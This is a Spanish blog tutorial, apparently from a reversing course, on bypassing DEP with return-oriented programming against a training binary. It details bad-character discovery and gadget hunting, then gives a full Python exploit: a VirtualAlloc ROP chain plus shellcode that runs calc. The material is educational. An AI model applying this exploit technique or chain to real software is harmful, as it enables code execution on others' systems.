Ir al contenido principal

Hydra android malware (Part 2)

Iniciación a la técnica de ROP

Buenas a todos,

En esta entrada vamos a resolver el binario propuesto por el maestro con la protección DEP: Que previene de ejecutar el código que introducimos en el stack si se encuentra activada esta protección del binario.
Para ver si un binario tiene la protección DEP(Data execution prevention)activa, podemos mirarlo con la herramienta ProcessExplorer tal y como vamos a ver en el siguiente ejemplo activando la columna DEP del mismo para poder comprobar si el proceso tiene o no el DEP habilitado:                               
Vemos que al ser un sistema operativo de x64, todos nuestros procesos tiene el DEP habilitado por defecto, y hemos de comprobar también si tiene alguna otra protección nuestro binario como el ASLR(Address Space Layout Randomization), encargado de aleatorizar las direcciones de la memoria virtual cuando nuestro binario es cargado en memoria virtual.
Vamos a ver todos los módulos que componen el binario (Programa + librerias(dlls)) para ver si algún módulo no tiene ASLR.
En este caso, el módulo del programa principal no tiene ASLR, por lo que las direcciones en memoria  virtual del binario serán las mismas:
Para comprobar esta protección hemos utilizado el "plugin" de x64dbg llamado checksec, que nos da infomación acerca del DEP, ASLR, SafeSEH entre otras protecciones.
Tal y como nos dice @ricardo en su tutorial estas son las cosas que hay que tener en cuenta para “ropear":

Tiene el proceso módulos que no tengan ASLR? 

No
En este caso, vemos que el módulo principal ya no tiene ASLR por lo que podremos buscar gadgets en ese módulo.
Tiene en algún modulo que no tenga ASLR importada la función VIrtualAlloc o VirtualProtect? 

No
Sí, en nuestro ejecutable hay una llamada a VirtualAlloc que reserva o asigna una región de páginas del espacio de direcciones virtuales del proceso que la invoca.
Están los datos ya ubicados en el stack para comenzar a ropear?

No
Vemos que hay una función gets() que nos permitirá meter los datos en el stack.
Puedo pasar cualquier carácter o sea no hay caracteres inválidos o hay pocos?
No
Hemos visto que tenemos los bad-character 0x0A y 0x1A


Para ver si tenemos la función VirtualAlloc en nuestro binario podemos hacer lo siguiente, haciendo “click” en Text Search, si escribimos la función tendremos las referencias donde esa función aparece en nuestro código. En la siguiente imagen mostramos como se ven:



Cuando buscamos en el ejecutable las referencias VirtualAlloc() en este caso los resultados son los siguientes:



En la tercera pregunta, sobre si tenemos los datos ubicados en el stack, vemos que la respuesta es sí. Al tener la función gets() y podemos introducir parámetros directamente en el stack, en el caso de que no fuera así deberíamos de usar ROP PIVOT (en la próximas entradas estoy seguro de que Ricardo nos pondrá a prueba con alguno de esos xD).
Si nos vamos a IDA para ver en que función está la llamada a gets() que vemos que esta justo debajo del VirtualAlloc(), y que la variable que le pasamos al gets() es buf  la cual se encuentre en la primera posición de nuestro “Stack Frame”, por lo que podremos provocar un "overflow" y modificar los valores de buf, zone, length y nada.


Para determinar los bad-characters, como hicimos en unos de los primeros ejercicios “stacks”, vamos a generar una entrada por teclado desde 0x00 hasta 0xFF y vamos a ver si en algún momento la función gets() nos bloquea alguno de los caracteres (dejando de leer).

Para ello creamos un script de Python y le pasamos como entrada al gets() la ristra completa de caracteres hexadecimales y comprobamos si se encuentran en memoria los valores introducidos.



Vemos que el primer bad carácter es : 0x0a, ya que en la dirección de memoria de buf se corta cuando llegamos a ese valor, por lo que repetimos el proceso eliminando ese carácter del payload y obtenemos así el resto de bad carácter como 0x1A




Vemos que nuestra sección del binario que no tiene ASLR que es la sección .text (donde residen las instrucciones) se encuentran entre las direcciones 0x00401000 y 0x00413000. Por lo tanto, tendremos que considerar que los gadgets que obtengan en su dirección alguno de los bad-carácter no podrán ser utilizados… (al menos de momento).

Una vez que ya tenemos en cuenta estas consideraciones, podemos comenzar a armar nuestro ROP, para la búsqueda de gadget podemos usar el programa rp-win, que nos permite la búsqueda de gadget en nuestro programa.
La forma de utilizarlo es la siguiente, al ser una aplicación de terminal hay que indicarle:
  •   Ejecutable donde queremos buscar los gadgets: ejercROPx32.exe
  •   La arquitectura que deseamos buscar: x86
  •   El tamaño de los gadgets: 4
  •  El nombre donde lo vamos a guardar: resultados.txt
Ejemplo: rp-win-x86.exe --file= ejercROPx32.exe --raw=x86 --rop=4 > resultados.txt
Esto almacena en el archivo de texto(resultados.txt) el conjunto de gadget de tamaño 4, vamos a ver ahora que es lo que queremos hacer, y buscar los gadgets necesarios dentro del archivo resultados.txt, donde tendremos las instrucciones en ensamblador y su posición en el binario.

OJO à La dirección indicada por el programa, se trata del file offset (tamaño en disco) si queremos obtener la dirección virtual, podemos aplicar la fórmula que vimos en una entrada anterior, o buscando en ida en Jumps > jumps to file offset y podemos sacar la dirección virtual.



O aplicando la formula de :

Virtual Address = File offset  - inicio de sección + dirección virtual base

Por poner un ejemplo:  si queremos obtener la posicion en la memoria del file offset= 0x4dfc

Virtual address = 0x4dfc – 0x400 + 0x401000 = 0x004059FC


La información del inicio de sección y el offset lo podemos sacar en IDA ,yéndonos a la primera instrucción de la sección .text, donde hay comentarios con esta información.



Una vez que tenemos todos los gadgets en el fichero de texto, extraídos a través de la herramienta, y con las direcciones file offset donde podemos obtener esas intrucciones del binario tal y como podemos ver en la imagen siguiente:


Antes de nada, vamos a recopilar lo que queremos hacer con nuestro exploit, y recapitular así las cosas que vamos a necesitar hacer.

  1. Función vulnerable gets() à Donde introducimos el payload y redireccionaremos a nuestros gadget.
                 
                                     
  2. Queremos ejecutar a la función VirtualAlloc para dar permisos de ejecución a la pila, para ello deberemos de llamar a la funcion con los cuatro parámetros correctos. Por lo tanto, tendremos que poner en el stack los valores que queramos usar en la función, quedando nuestra stack de la siguiente manera:

                   VirtualAlloc(lpAddress,0x1,0x1000,0x40)

    Donde lpAddress, se encuentra en el registro eax, donde tenemos el comienzo de nuestro payload (la  1 shellcode), que es una dirección del stack, sino tuveramos el valor en eax, también podríamos sacar también una dirección del stack (usando esp o ebp) para utilizarlo.
  3. Armamos nuestro ROP para conseguir la ejecución de nuestra shellcode, para ello hemos utilizado los siguientes gadgets:

                      
  4. Juntamos los 3 casos anteriores, para así construir nuestro exploit y poder ejecutar la calculadora en nuestro programa, la estructura en la pila será la siguiente:
    • 1º parte del stack, overflow de gets() y controlar el flujo del programa + rellenamos con 0x00 para evitar así llamar a la función mem_copy (hay un salto condicional por si es igual 0x00 no ejecuta la función).
    • 2ºparte, Creación de nuestro ROP para ejecutar la shellcode que escribiremos después en la pila
    • 3ºparte, Shellcode que ejecuta nuestra calculadora y le hemos añadido un exit() ( instrucción que se encuentra en nuestro programa en la dirección 0x401352) para que nuestro programa funcione no crashee al ejecutar la calculadora.
En la imagen siguiente mostramos una imagen de como tiene que estar el stack formado para poder ejecutar la calculadora:


Para terminar este sería el código en python para explotar el binario y poder así ejecutar la calculadora:

import sys
from subprocess import Popen, PIPE
import struct
import random
import string


#Tenemos el DEP activado en este ejemplo (no nos pormite la ejecucion en el stack de código.

#Generamos una cadena de hexadecimales para testear los badcharacters
import sys
for x in range(0,256):
    sys.stdout.write(
"\\x" + '{:02x}'.format(x))

payload =
b'\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff'

shellcode_calc = b'\x33\xd2\x52\x68\x63\x61\x6c\x63\x89\xe6\x52\x56\x64\x8b\x72\x30\x8b\x76\x0c\x8b\x76\x0c\xad\x8b\x30\x8b\x7e\x18\x8b\x5f\x3c\x8b\x5c\x1f\x78\x8b\x74\x1f\x20\x01\xfe\x8b\x4c\x1f\x24\x01\xf9\x0f\xb7\x2c\x51\x42\xad\x81\x3c\x07\x57\x69\x6e\x45\x75\xf1\x8b\x74\x1f\x1c\x01\xfe\x03\x3c\xae\xff\xd7'
aniadimos_exit = b'\x68\x52\x13\x40\x00\xC3'

payload = shellcode_calc
payload += (
1036 - len(shellcode_calc)) * b'\x00' #relleno con 0 para saltarnos el MemCopy

payload +=struct.pack('<I', 0x0040f2C6) #pop ecx, ret
payload +=struct.pack('<I', 0x00000000) #Asigna ecx = 0
payload +=struct.pack('<I', 0x00412130) #Mov edx, eax, xor eax,eax,and cl , 1F shl edx, cl ret
payload +=struct.pack('<I', 0x00402512) # mov edi, edx , ret
payload +=struct.pack('<I', 0x0040352D) # pop esi, ret
payload +=struct.pack('<I', 0x00413000) #IAT_address que apunta a la (direccion del VirtualAlloc)
payload +=struct.pack('<I', 0x00412649) #pop ebx , ret
payload +=struct.pack('<I', 0x00000000) #ebx = 0
payload +=struct.pack('<I', 0x004018A9) #Push edi, mov edi,[esi],test edi,edi, je XX, mov ecx, edi, call XX ,call edi, add esi, 4, cmp esi,ebx jb XXXX, pop edi, pop esi, pop ebx,ret
payload +=struct.pack('<I', 0x00000001) #dwsize
payload +=struct.pack('<I', 0x00001000) # flAllocationType = Commit
payload +=struct.pack('<I', 0x00000040) # Flprotect = +x
payload +=struct.pack('<I', 0x00000000) # edi = 0
payload +=struct.pack('<I', 0x0041A6A0) # Direccion de .data para meter en ESI para hacer valido el ultimo gadget donde hay que ecribir por eso cogemos una direccion de .idata valida
payload +=struct.pack('<I', 0x00000000) # ebx = 0
payload +=struct.pack('<I', 0x0041066F) # push esp , shl [esi+f], 56, ret

payload += shellcode_calc
payload += aniadimos_exit

#Hasta aqui

#Call esi --> Virtialalloc()

payload +=struct.pack('<I', 0x0041234A) # push esp, add esp + ebx  + ret



#nopslep


p1 = Popen(r"C:\Users\juan\Desktop\PARTE 2-20200316T191208Z-001\PARTE 2\ABO1 32 y 64 DEP pass a\Release\ejercROPx32.exe", stdin=PIPE)
print ("PID: %s" % hex(p1.pid))
print ("Enter para continuar")
p1.communicate(payload)
p1.wait()
input()


Un saludo y happy reversing en la siguiente entrada haremos un CTF con ROP para probar que tal tenemos el concepto asentado.

Comentarios

Entradas populares de este blog

Hydra android malware (Part 2)

Buenas de nuevo, En esta segunda parte del tutorial de Hydra , vamos a coger una muestra mas reciente, y vamos a ahondar en las características técnicas de la muestra. Información de la muestra y Herramientas:  -) Muestra : 2fc050a06dab9dbc019dfdd768580ebe66f178a210fda23a02ce005742c5e262 -) JADX : Para poder leer el codigo Java/kotlin decompilado de la aplicación. -) Apktool : Para hacer el dissasembler de la APK, y poder parcherla y reconstruirla.  -) Genymotion : Para emular la aplicación -) Burp Suite: para capturar las comunicaciones -) Frida : Para TODO :) Análisis Estático Antes de comenzar con el archivo AndroidManifest.xml, como explicamos en la entrada anterior, vamos a introducir un poco de teoría de como es cargada y ejecutada una aplicación sobre el sistema operativo Android. Echamos un vistazo al androidManifest.xml : Al igual que en la entrada anterior, hay referencias a actividades  que no se encuentran presentes en el código de la aplicación al abrir...

Hydra Android Malware (Part 1)

 Buenos Días, Hoy escribiré una entrada de análisis de malware en Android después de un tiempo sin escribir por aquí. La idea era coger de nuevo soltura con las herramientas open-source que hay para el análisis de aplicaciones android. Estuve leyendo información sobre alguna familias y me tope con Hydra (siguen apareciendo casos activos en Android (Twitter)) y me puse con ella. Arranqué con la lectura de este blog : Es el "padre nuestro" de la primera parte de nuestro tutorial, lo único que voy a hacer yo aquí en la primera parte es "puntualizar" algunos problemas que me he encontrado durante el análisis al seguir su tutorial. Información de la muestra y Herramientas:  -) Muestra : 46aeb04f2f03ebe7c716fc6e58a5dea763cd9b00eb7a466d10a0744f50a7368f -) JADX : Para poder leer el codigo Java/kotlin decompilado de la aplicación. -) Apktool : Para hacer el dissasembler de la APK, y poder parcherla y reconstruirla.  -) Ghidra : Decompilado de librerias Nativas. -) GEF : Debu...

Radare2- Set de comandos básicos

Buenas a todos y Feliz navidad lo primero. Entre mantecado y mantecado, y motivado por el curso de Ricardo Narvaja (CrackLatinos), me he decidido a publicar una entrada que es mas para mí que para el resto. Pero supongo que puede ser útil para otras personas, de ahí que lo ponga lo mas bonito posible en la web. Vamos a ver un "cheatsheet" con comandos útiles de Radare2 y su funcionalidad, todo esto puede extraerse del --help de las herramientas, pero para los que como yo le gusta ir al grano y ahorrar el mayor tiempo posible, tienen esta entrada. RABIN2: rabin2 -I file_.exe --> Nos proporciona información básica del binario, como arquitectura, y las protecciones del binario como (nx,dep,aslr...) rabin2 -i file_.exe --> Nos muestra los imports del binario. rabin2 -e file_.exe --> Dirección del Entry point. (Dirección virtual y raw offset en el executable) rabin2 -zz file_.exe --> Muestra las strings rabin2 -g file_.exe --> Este comando nos muestr...